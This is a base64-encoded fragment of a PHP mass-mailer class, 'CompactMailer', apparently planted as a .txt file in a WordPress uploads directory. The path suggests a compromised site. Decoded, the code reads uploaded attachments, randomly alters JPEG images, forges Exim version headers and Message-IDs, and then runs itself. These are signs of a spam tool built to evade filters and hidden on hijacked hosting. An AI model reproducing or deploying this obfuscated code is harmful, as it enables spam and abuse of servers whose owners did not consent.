DEuMFxyXG4iOwogICAgICAgIGlmICgkdGhpcy0+Y3VzdG9tX2hlYWRlcnMpIHsKICAgICAgICAgICAgJGhlYWRlcnMgLj0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCB0cmltKCR0aGlzLT5jdXN0b21faGVhZGVycykpLiJcclxuIjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRoZWFkZXJzOwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gY3V0X3RhZ3MoJG1lc3NhZ2UpCiAgICB7CiAgICAgICAgJG1zZyA9IHRyaW0oc3RyaXBfdGFncygkbWVzc2FnZSwgJzxhPicpKTsKICAgICAgICAkZmluZF9hID0gdHJ1ZTsKICAgICAgICB3aGlsZSAoJGZpbmRfYSkgewogICAgICAgICAgICAkc3RhcnQgPSBAc3RycG9zKCRtc2csICc8YScpOwogICAgICAgICAgICBpZiAoJHN0YXJ0ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJGhyZWYgID0gQHN0cnBvcygkbXNnLCAnaHJlZicsICRzdGFydCsxKTsKICAgICAgICAgICAgICAgIGlmICgkaHJlZiA9PT0gZmFsc2UpIGJyZWFrOwogICAgICAgICAgICAgICAgJGhyZWYgID0gQHN0cnBvcygkbXNnLCAnIicsICRocmVmKzEpOwogICAgICAgICAgICAgICAgaWYgKCRocmVmID09PSBmYWxzZSkgYnJlYWs7CiAgICAgICAgICAgICAgICAkZW5kaCAgPSBAc3RycG9zKCRtc2csICciJywgJGhyZWYrMSk7CiAgICAgICAgICAgICAgICBpZiAoJGVuZGggPT09IGZhbHNlKSBicmVhazsKICAgICAgICAgICAgICAgICRlbmRhICA9IEBzdHJwb3MoJG1zZywgJzwvJywgJGVuZGgrMSk7CiAgICAgICAgICAgICAgICBpZiAoJGVuZGEgPT09IGZhbHNlKSBicmVhazsKICAgICAgICAgICAgICAgICRlbmRhICA9IEBzdHJwb3MoJG1zZywgJz4nLCAkZW5kYSsxKTsKICAgICAgICAgICAgICAgIGlmICgkZW5kYSA9PT0gZmFsc2UpIGJyZWFrOwogICAgICAgICAgICAgICAgJGJlZm9yZSAgID0gQHN1YnN0cigkbXNnLCAwLCAkc3RhcnQpOwogICAgICAgICAgICAgICAgJGxpbmsgICAgID0gQHN1YnN0cigkbXNnLCAkaHJlZisxLCAkZW5kaC0kaHJlZi0xKTsKICAgICAgICAgICAgICAgICRhZnRlciAgICA9IEBzdWJzdHIoJG1zZywgJGVuZGErMSk7CiAgICAgICAgICAgICAgICAkbXNnICAgICAgPSAkYmVmb3JlLiRsaW5rLiRhZnRlcjsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRmaW5kX2EgPSBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1zZzsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHN0cl9yZXBsYWNlX29uY2UoJHNlYXJjaCwgJHJlcGxhY2UsICR0ZXh0KQogICAgewogICAgICAgICRwb3MgPSBAc3RycG9zKCR0ZXh0LCAkc2VhcmNoKTsKICAgICAgICByZXR1cm4gKCRwb3MhPT1mYWxzZSkgPyBAc3Vic3RyX3JlcGxhY2UoJHRleHQsICRyZXBsYWNlLCAkcG9zLCBzdHJsZW4oJHNlYXJjaCkpIDogJHRleHQ7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBkb3dubG9hZF9zb3VyY2UoJHVybCkKICAgIHsKICAgICAgICByZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkdGhpcy0+Y29udGV4dCk7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBmaWxlX3N0cmluZygkbmFtZSkKICAgIHsKICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihAcGF0aGluZm8oJG5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnanBlZycsJ2pwZycpKSAmJiAkdGhpcy0+Y2hlY2tfcmFuZF9pbWcoKSkgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJhbmRfaW1nKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBAZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHJhbmRvbV90ZXh0KCkKICAgIHsKICAgICAgICAkY2hhcnMgPSAncXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm0nOwogICAgICAgIHJldHVybiBAc3Vic3RyKHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJGNoYXJzLCByYW5kKDMsOCkpKSwgMCwgcmFuZCgzLDgpKTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdlbmVyYXRlX3N0cigkbGVuLCAkbW9kZT0wKQogICAgewogICAgICAgIGlmICgkbW9kZT09PTEpIHsKICAgICAgICAgICAgJGNoYXJzPSdhYmNkZWZnaGttbnBxcnN0dXZ3eHl6QUJDREVGR0hLTU5QUVJTVFVWV1hZWjEyMzQ1Njc4OTAnOwogICAgICAgIH0gZWxzZWlmICgkbW9kZT09PTIpIHsKICAgICAgICAgICAgJGNoYXJzPScxMjM0NTY3ODkwJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkY2hhcnM9J2FiY2RlZmdoa21ucHFyc3R1dnd4eXoxMjM0NTY3ODkwJzsKICAgICAgICB9CiAgICAgICAgJHJlcz0nJzsKICAgICAgICAkbXggPSBzdHJsZW4oJGNoYXJzKS0xOwogICAgICAgIGZvciAoJGk9MDskaTwkbGVuOyRpKyspewogICAgICAgICAgICAkcmVzIC49ICRjaGFyc1ttdF9yYW5kKDAsICRteCldOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlczsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGNoZWNrX3JhbmRfaW1nKCkKICAgIHsKICAgICAgICBmb3JlYWNoIChhcnJheSgnZ2V0aW1hZ2VzaXplJywnaW1hZ2VjcmVhdGV0cnVlY29sb3InLCdpbWFnZWNyZWF0ZWZyb21qcGVnJywnaW1hZ2Vjb3B5cmVzYW1wbGVkJywnaW1hZ2VmaWx0ZXInLCdvYl9zdGFydCcsJ2ltYWdlanBlZycsJ29iX2dldF9jbGVhbicpIGFzICRmKSB7CiAgICAgICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCRmKSkgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHJhbmRfaW1nKCRmaWxlKQogICAgewogICAgICAgIGxpc3QoJHcsICRoKSA9IEBnZXRpbWFnZXNpemUoJGZpbGUpOwogICAgICAgICRuZXdfdyAgID0gKHJhbmQoMSwyKT09MSkgPyAkdytyYW5kKC0xMCwxMCkgOiAkdzsKICAgICAgICAkbmV3X2ggICA9IChyYW5kKDEsMik9PTEpID8gJGgrcmFuZCgtMTAsMTApIDogJGg7CiAgICAgICAgJHF1YWxpdHkgPSAocmFuZCgxLDIpPT0xKSA/IDc1IDogcmFuZCg2NSwxMDUpOwogICAgICAgICRicmlnaHQgID0gKHJhbmQoMSwyKT09MSkgPyByYW5kKDAsMzUpIDogMDsKICAgICAgICAkY29udHIgICA9IChyYW5kKDEsMik9PTEpID8gcmFuZCgtMTUsMTUpIDogMDsKICAgICAgICAkaW1fcCAgICA9IEBpbWFnZWNyZWF0ZXRydWVjb2xvcigkbmV3X3csJG5ld19oKTsKICAgICAgICAkaW0gICAgICA9IEBpbWFnZWNyZWF0ZWZyb21qcGVnKCRmaWxlKTsKICAgICAgICBAaW1hZ2Vjb3B5cmVzYW1wbGVkKCRpbV9wLCAkaW0sIDAsMCwwLDAsICRuZXdfdywkbmV3X2gsICR3LCRoKTsKICAgICAgICBAaW1hZ2VmaWx0ZXIoJGltX3AsIElNR19GSUxURVJfQ09OVFJBU1QsICRjb250cik7CiAgICAgICAgQGltYWdlZmlsdGVyKCRpbV9wLCBJTUdfRklMVEVSX0JSSUdIVE5FU1MsICRicmlnaHQpOwogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBpbWFnZWpwZWcoJGltX3AsIG51bGwsICRxdWFsaXR5KTsKICAgICAgICAkb3V0ID0gQG9iX2dldF9jbGVhbigpOwogICAgICAgIEBpbWFnZWRlc3Ryb3koJGltX3ApOwogICAgICAgIHJldHVybiAkb3V0OwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X21pbWVfdHlwZSgkZmlsZSkKICAgIHsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtaW1lX2NvbnRlbnRfdHlwZScpKSB7CiAgICAgICAgICAgIHJldHVybiBAbWltZV9jb250ZW50X3R5cGUoJGZpbGUpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2ZpbmZvX29wZW4nKSkgewogICAgICAgICAgICAkZmluZm8gPSBAZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOwogICAgICAgICAgICBpZiAoJGZpbmZvKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IEBmaW5mb19maWxlKCRmaW5mbywgJGZpbGUpOwogICAgICAgICAgICAgICAgQGZpbmZvX2Nsb3NlKCRmaW5mbyk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHR5cGUgPyAkdHlwZSA6ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKEBwYXRoaW5mbygkZmlsZSwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAgICAgJG1hcCA9IGFycmF5KAogICAgICAgICAgICAnanBnJz0+J2ltYWdlL2pwZWcnLCdqcGVnJz0+J2ltYWdlL2pwZWcnLCdwbmcnPT4naW1hZ2UvcG5nJywnZ2lmJz0+J2ltYWdlL2dpZicsJ2JtcCc9PidpbWFnZS9ibXAnLAogICAgICAgICAgICAncGRmJz0+J2FwcGxpY2F0aW9uL3BkZicsJ3ppcCc9PidhcHBsaWNhdGlvbi96aXAnLCdyYXInPT4nYXBwbGljYXRpb24veC1yYXItY29tcHJlc3NlZCcsJ3R4dCc9Pid0ZXh0L3BsYWluJwogICAgICAgICk7CiAgICAgICAgcmV0dXJuIGlzc2V0KCRtYXBbJGV4dF0pID8gJG1hcFskZXh0XSA6ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X2hvc3RfcHRyKCRpcCkKICAgIHsKICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZG5zX2dldF9yZWNvcmQiKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRwdHIgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJGlwKSkpLiIuaW4tYWRkci5hcnBhIjsKICAgICAgICAkaG9zdCA9IEBkbnNfZ2V0X3JlY29yZCgkcHRyLCBETlNfUFRSKTsKICAgICAgICBpZiAoISRob3N0IHx8ICFpc3NldCgkaG9zdFswXVsidGFyZ2V0Il0pKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRob3N0WzBdWyJ0YXJnZXQiXTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHJmY19kYXRlKCkKICAgIHsKICAgICAgICAkdHogID0gQGRhdGUoJ1onKTsKICAgICAgICAkdHpzID0gKCR0ejwwKT8nLSc6JysnOwogICAgICAgICR0eiAgPSBhYnMoJHR6KTsKICAgICAgICAkdHogID0gKGludCkoJHR6LzM2MDApKjEwMCArICgkdHolMzYwMCkvNjA7CiAgICAgICAgcmV0dXJuIHNwcmludGYoIiVzICVzJTA0ZCIsIEBkYXRlKCdELCBqIE0gWSBIOmk6cycpLCAkdHpzLCAkdHopOwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gcmFuZG9tX2V4aW1fdmVyc2lvbigpCiAgICB7CiAgICAgICAgJG1haiA9IGFycmF5KDQpOwogICAgICAgICRtaW4gPSByYW5nZSg5Myw5Nyk7CiAgICAgICAgJHBhdCA9IHJhbmdlKDAsMyk7CiAgICAgICAgJHgxICA9ICRtYWpbYXJyYXlfcmFuZCgkbWFqKV07CiAgICAgICAgJHgyICA9ICRtaW5bYXJyYXlfcmFuZCgkbWluKV07CiAgICAgICAgJHgzICA9IChyYW5kKDAsMSk9PTEpID8gJy4nLiRwYXRbYXJyYXlfcmFuZCgkcGF0KV0gOiAnJzsKICAgICAgICByZXR1cm4gIkV4aW0gJHgxLiR4MiR4MyI7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRfaGVhZGVyX2RhdGUoKQogICAgewogICAgICAgIHJldHVybiBkYXRlKCdyJyk7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRfaGVhZGVyX21lc3NhZ2VfaWQoJGRvbWFpbikKICAgIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZChtdF9yYW5kKCksIHRydWUpKS4nQCcuJGRvbWFpbjsKICAgIH0KfQoKJGNtID0gbmV3IENvbXBhY3RNYWlsZXIoKTsKJGNtLT5ydW4oKTsK
/home/batcwwjx/public_html/wp-content/uploads/2021/01/bay/fennella/honora.txt